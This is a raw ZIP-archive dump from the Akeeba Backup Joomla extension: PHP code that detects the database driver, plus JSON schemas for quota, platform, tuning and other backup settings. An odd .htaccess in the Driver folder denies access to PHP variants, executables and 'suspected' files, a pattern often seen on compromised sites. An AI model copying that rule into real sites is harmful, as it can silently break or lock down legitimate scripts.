			|| (stristr($jDriverName, 'sqlite') !== false)
			|| (stristr($jDriverName, 'sqlsrv') !== false)
			|| (stristr($jDriverName, 'sqlazure') !== false)
			|| (stristr($jDriverName, 'mssql') !== false)
		)
		{
			return null;
		}

		/**
		 * We do not have a driver name known to the core. This is a custom database driver, implemented by a Joomla
		 * extension. This is typically used in two use cases:
		 * - Transparent content translation (JoomFish, Falang, jDiction, ...)
		 * - Support for primary / secondary database servers (primary is read only, secondary is write only)
		 * The custom database drier will be extending one of the core drivers. We will use defensive code to detect
		 * that, making no assumption that the core driver class exists because these classes are an implementation
		 * detail in Joomla which may change over time, even though they are explicitly included in its SemVer promise.
		 * We have been around long enough to know better than believing Joomla won't break SemVer by accident...
		 */
		if (
			(class_exists(MysqlDriver::class) && ($db instanceof MysqlDriver))
			|| (class_exists(Pdomysql::class) && ($db instanceof Pdomysql))
		)
		{
			return 'pdomysql';
		}
		elseif (class_exists(MysqliDriver::class) && ($db instanceof MysqliDriver))
		{
			return 'mysqli';
		}
		elseif (class_exists(PgsqlDriver::class) && ($db instanceof PgsqlDriver))
		{
			return 'postgresql';
		}
		elseif (
			(class_exists(SqliteDriver::class) && ($db instanceof SqliteDriver))
			|| (class_exists(SqlsrvDriver::class) && ($db instanceof SqlsrvDriver))
			|| (class_exists(SqlazureDriver::class) && ($db instanceof SqlazureDriver))
		)
		{
			return null;
		}

		// We still have no idea. We will need to use reflection. If it's unavailable we give up.
		if (!class_exists(ReflectionObject::class))
		{
			return null;
		}

		$refDriver = new ReflectionObject($db);

		// Is this a generic PDO driver instance?
		if ((class_exists(PdoDriver::class) && ($db instanceof PdoDriver)) && $refDriver->hasProperty('options'))
		{
			$refOptions = $refDriver->getProperty('options');

			if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
			{
				$refOptions->setAccessible(true);
			}

			$options = $refOptions->getValue($db);
			$options = is_array($options) ? $options : [];

			$pdoDriver = $options['driver'] ?? 'odbc';

			switch ($pdoDriver)
			{
				// PDO MySQL. We support this!
				case 'mysql':
					return 'pdomysql';

				// PDO PostgreSQL. We support this!
				case 'pgsql':
				case 'postgresql':
					return 'postgresql';

				// ODBC: I need to inspect the DSN
				case 'obdc':
					$dsn = $options['dsn'] ?? '';

					// No DSN? No joy.
					if (empty($dsn))
					{
						return null;
					}

					// That's MySQL over ODBC over PDO. OK, rather strained but we can do that.
					if (stripos($dsn, 'mysql:') === 0)
					{
						return 'pdomysql';
					}

					// That's MySQL over ODBC over PDO. OK, rather strained but we can do that.
					if (stripos($dsn, 'pgsql:') === 0 || stripos($dsn, 'postgresql:') === 0)
					{
						return 'postgresql';
					}

					// Anything else: tough luck.
					return null;

				// Anything else: tough luck.
				default:
					return null;
			}
		}

		// Let's get the class hierarchy and see if we have anything that looks like MySQL / PostgreSQL in its name.
		$classNames = class_parents($db);
		array_unshift($classNames, get_class($db));

		$isMySQLi = array_reduce(
			$classNames, function (bool $carry, string $className) {
			return $carry || (stripos($className, 'mysqli') !== false);
		}, false
		);

		if ($isMySQLi)
		{
			return 'mysqli';
		}

		$isPdoMySQL = array_reduce(
			$classNames, function (bool $carry, string $className) {
			return $carry || (stripos($className, 'pdomysql') !== false);
		}, false
		);

		if ($isPdoMySQL)
		{
			return 'pdomysql';
		}

		$isPdoPostgreSQL = array_reduce(
			$classNames,
			function (bool $carry, string $className) {
				return $carry
				       || (stripos($className, 'postgresql') !== false)
				       || (stripos($className, 'pgsql') !== false);
			},
			false
		);

		if ($isPdoPostgreSQL)
		{
			return 'postgresql';
		}

		// All possible checks failed. I have no idea what you're doing here, mate.
		return null;
	}
}
PK     \Sʉ         platform/Joomla/Driver/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \G    $  platform/Joomla/Config/04.quota.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA"
    },
    "akeeba.quota.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.obsolete_quota": {
        "default": "50",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "1|10|20|30|40|50",
        "scale": "1",
        "uom": "items",
        "title": "COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.enable_logfiles": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION"
    },
    "akeeba.quota.logfiles.type": {
        "default": "count",
        "type": "enum",
        "protected": "1",
        "enumkeys": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE|COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT|COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS",
        "enumvalues": "size|count|days",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1"
    },
    "akeeba.quota.logfiles.count": {
        "default": "3",
        "type": "integer",
        "min": "0",
        "max": "10000",
        "shortcuts": "1|3|7|10|30|100",
        "scale": "1",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:count"
    },
    "akeeba.quota.logfiles.size": {
        "default": "10485760",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "Mb",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:size"
    },
    "akeeba.quota.logfiles.days": {
        "default": "30",
        "type": "integer",
        "min": "1",
        "max": "365",
        "shortcuts": "31|60|182|365",
        "scale": "1",
        "uom": "days",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:days"
    },
    "akeeba.quota.enable_size_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.size_quota": {
        "default": "15728640",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.size_quota:1"
    },
    "akeeba.quota.enable_count_quota": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.count_quota": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "200",
        "shortcuts": "1|5|10|50|100|200",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.enable_count_quota:1"
    },
    "akeeba.quota.remotely.maxage.enable": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_count_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    },
    "akeeba.quota.remotely.enable_size_quota": {
        "default": "0",
        "type": "none",
        "protected": "1"
    }
}PK     \^٫    '  platform/Joomla/Config/02.advanced.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED"
    },
    "akeeba.advanced.dump_engine": {
        "default": "native",
        "type": "engine",
        "subtype": "dump",
        "title": "COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION",
        "protected": "0"
    },
    "akeeba.advanced.scan_engine": {
        "default": "smart",
        "type": "engine",
        "subtype": "scan",
        "protected": "1",
        "title": "COM_AKEEBABACKUP_CONFIG_SCANENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SCANENGINE_DESCRIPTION"
    },
    "akeeba.advanced.archiver_engine": {
        "default": "jpa",
        "type": "engine",
        "subtype": "archiver",
        "title": "COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION"
    },
    "akeeba.advanced.postproc_engine": {
        "default": "none",
        "type": "none",
        "protected": "1"
    },
    "akeeba.advanced.embedded_installer": {
        "default": "brs",
        "type": "installer",
        "title": "COM_AKEEBABACKUP_CONFIG_INSTALLER_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_INSTALLER_DESCRIPTION",
        "protected": "0"
    },
    "engine.installer.angie.key": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION",
        "protected": "0"
    }
}PK     \Rn   n   (  platform/Joomla/Config/Pro/04.quota.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_HEADER_QUOTA"
    },
    "akeeba.quota.obsolete_quota": {
        "default": "50",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "1|10|20|30|40|50",
        "scale": "1",
        "uom": "items",
        "title": "COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OBSOLETEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.enable_logfiles": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DESCRIPTION"
    },
    "akeeba.quota.logfiles.type": {
        "default": "count",
        "type": "enum",
        "protected": "1",
        "enumkeys": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_SIZE|COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_COUNT|COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DAYS",
        "enumvalues": "size|count|days",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_TYPE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1"
    },
    "akeeba.quota.logfiles.count": {
        "default": "3",
        "type": "integer",
        "min": "0",
        "max": "10000",
        "shortcuts": "1|3|7|10|30|100",
        "scale": "1",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_COUNT_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:count"
    },
    "akeeba.quota.logfiles.size": {
        "default": "10485760",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "Mb",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_SIZE_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:size"
    },
    "akeeba.quota.logfiles.days": {
        "default": "30",
        "type": "integer",
        "min": "1",
        "max": "365",
        "shortcuts": "31|60|182|365",
        "scale": "1",
        "uom": "days",
        "title": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_LOGFILES_DAYS_DESCRIPTION",
        "showon": "akeeba.quota.enable_logfiles:1[AND]akeeba.quota.logfiles.type:days"
    },
    "akeeba.quota.local_head": {
        "type": "separator",
        "nolabel": 1,
        "content": "COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD",
        "element": "h4"
    },
    "akeeba.quota.maxage.enable": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.maxage.maxdays": {
        "default": "31",
        "type": "integer",
        "min": "1",
        "max": "365",
        "shortcuts": "31|60|182|365",
        "scale": "1",
        "uom": "days",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION",
        "showon": "akeeba.quota.maxage.enable:1"
    },
    "akeeba.quota.maxage.keepday": {
        "default": "1",
        "type": "integer",
        "min": "0",
        "max": "31",
        "shortcuts": "0|1|15",
        "scale": "1",
        "uom": "day",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION",
        "showon": "akeeba.quota.maxage.enable:1"
    },
    "akeeba.quota.enable_size_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.size_quota": {
        "default": "15728640",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "Mb",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.enable_size_quota:1"
    },
    "akeeba.quota.enable_count_quota": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.count_quota": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "200",
        "shortcuts": "1|5|10|50|100|200",
        "scale": "1",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.enable_count_quota:1"
    },
    "akeeba.quota.remote_head": {
        "type": "separator",
        "nolabel": 1,
        "content": "COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD",
        "element": "h4"
    },
    "akeeba.quota.remote_latest": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION"
    },
    "akeeba.quota.remotely.maxage.enable": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.remotely.maxage.maxdays": {
        "default": "60",
        "type": "integer",
        "min": "1",
        "max": "365",
        "shortcuts": "31|60|182|365",
        "scale": "1",
        "uom": "days",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION",
        "showon": "akeeba.quota.remotely.maxage.enable:1"
    },
    "akeeba.quota.remotely.maxage.keepday": {
        "default": "1",
        "type": "integer",
        "min": "0",
        "max": "31",
        "shortcuts": "0|1|15",
        "scale": "1",
        "uom": "day",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION",
        "showon": "akeeba.quota.remotely.maxage.enable:1"
    },
    "akeeba.quota.remotely.enable_size_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_SIZEQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.remotely.size_quota": {
        "default": "2147483648",
        "type": "integer",
        "min": "1",
        "max": "1125899906842624",
        "shortcuts": "15728640|52428800|104857600|268435456|536870912|1073741824|2147483648|5368709120|10737418240|21474836480|1099511627776",
        "scale": "1048576",
        "uom": "Mb",
        "title": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBA_CONFIG_SIZEQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.remotely.enable_size_quota:1"
    },
    "akeeba.quota.remotely.enable_count_quota": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION"
    },
    "akeeba.quota.remotely.count_quota": {
        "default": "45",
        "type": "integer",
        "min": "1",
        "max": "200",
        "shortcuts": "1|5|10|50|100|200",
        "scale": "1",
        "title": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION",
        "showon": "akeeba.quota.remotely.enable_count_quota:1"
    }
}PK     \x԰<  <  +  platform/Joomla/Config/Pro/02.platform.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM"
    },
    "akeeba.platform.override_root": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION"
    },
    "akeeba.platform.newroot": {
        "default": "",
        "type": "browsedir",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION",
        "showon": "akeeba.platform.override_root:1"
    },
    "akeeba.platform.override_db": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION"
    },
    "akeeba.platform.dbdriver": {
        "default": "mysqli",
        "type": "enum",
        "enumkeys": "MySQL|MySQLi",
        "enumvalues": "mysql|mysqli",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbhost": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbport": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbusername": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbpassword": {
        "default": "",
        "type": "password",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbname": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbprefix": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbencryption": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1"
    },
    "akeeba.platform.dbsslcipher": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1[AND]akeeba.platform.dbencryption:1"
    },
    "akeeba.platform.dbsslca": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1[AND]akeeba.platform.dbencryption:1"
    },
    "akeeba.platform.dbsslkey": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1[AND]akeeba.platform.dbencryption:1"
    },
    "akeeba.platform.dbsslcert": {
        "default": "",
        "type": "string",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1[AND]akeeba.platform.dbencryption:1"
    },
    "akeeba.platform.dbsslverifyservercert": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION",
        "showon": "akeeba.platform.override_db:1[AND]akeeba.platform.dbencryption:1"
    }
}PK     \:Z    )  platform/Joomla/Config/Pro/05.tuning.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_HEADER_TUNING"
    },
    "akeeba.tuning.min_exec_time": {
        "default": "2000",
        "type": "integer",
        "min": "0",
        "max": "20000",
        "shortcuts": "0|250|500|1000|2000|3000|4000|5000|7500|10000|15000|20000",
        "scale": "1000",
        "uom": "s",
        "title": "COM_AKEEBABACKUP_CONFIG_MINEXECTIME_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MINEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.max_exec_time": {
        "default": "14",
        "type": "integer",
        "min": "0",
        "max": "180",
        "shortcuts": "1|2|3|5|7|10|14|15|20|23|25|30|45|60|90|120|180",
        "scale": "1",
        "uom": "s",
        "title": "COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_MAXEXECTIME_DESCRIPTION"
    },
    "akeeba.tuning.run_time_bias": {
        "default": "75",
        "type": "integer",
        "min": "10",
        "max": "100",
        "shortcuts": "10|20|25|30|40|50|60|75|80|90|100",
        "scale": "1",
        "uom": "%",
        "title": "COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION"
    },
    "akeeba.advanced.autoresume": {
        "default": "1",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION"
    },
    "akeeba.advanced.autoresume_timeout": {
        "default": "10",
        "type": "integer",
        "min": "1",
        "max": "36000",
        "scale": "1",
        "uom": "s",
        "shortcuts": "3|5|10|15|20|30|45|60|90|120|300|600|900|1800|3600",
        "title": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.advanced.autoresume_maxretries": {
        "default": "3",
        "type": "integer",
        "min": "1",
        "max": "1000",
        "scale": "1",
        "shortcuts": "1|3|5|7|10|15|20|30|50|100",
        "title": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION",
        "showon": "akeeba.advanced.autoresume:1"
    },
    "akeeba.tuning.nobreak.beforelargefile": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC"
    },
    "akeeba.tuning.nobreak.afterlargefile": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC"
    },
    "akeeba.tuning.nobreak.proactive": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC"
    },
    "akeeba.tuning.nobreak.domains": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC"
    },
    "akeeba.tuning.nobreak.finalization": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC"
    },
    "akeeba.tuning.settimelimit": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC"
    },
    "akeeba.tuning.setmemlimit": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL",
        "description": "COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC"
    }
}PK     \Aa   a   *  platform/Joomla/Config/Pro/03.filters.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_HEADER_OPTIONALFILTERS"
    }
}PK     \YD  D  (  platform/Joomla/Config/Pro/01.basic.jsonnu [        {
    "_group": {
        "description": "COM_AKEEBABACKUP_CONFIG_HEADER_BASIC"
    },
    "akeeba.basic.output_directory": {
        "default": "[DEFAULT_OUTPUT]",
        "type": "browsedir",
        "title": "COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE",
        "description": "COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION"
    },
    "akeeba.basic.log_level": {
        "default": "4",
        "type": "enum",
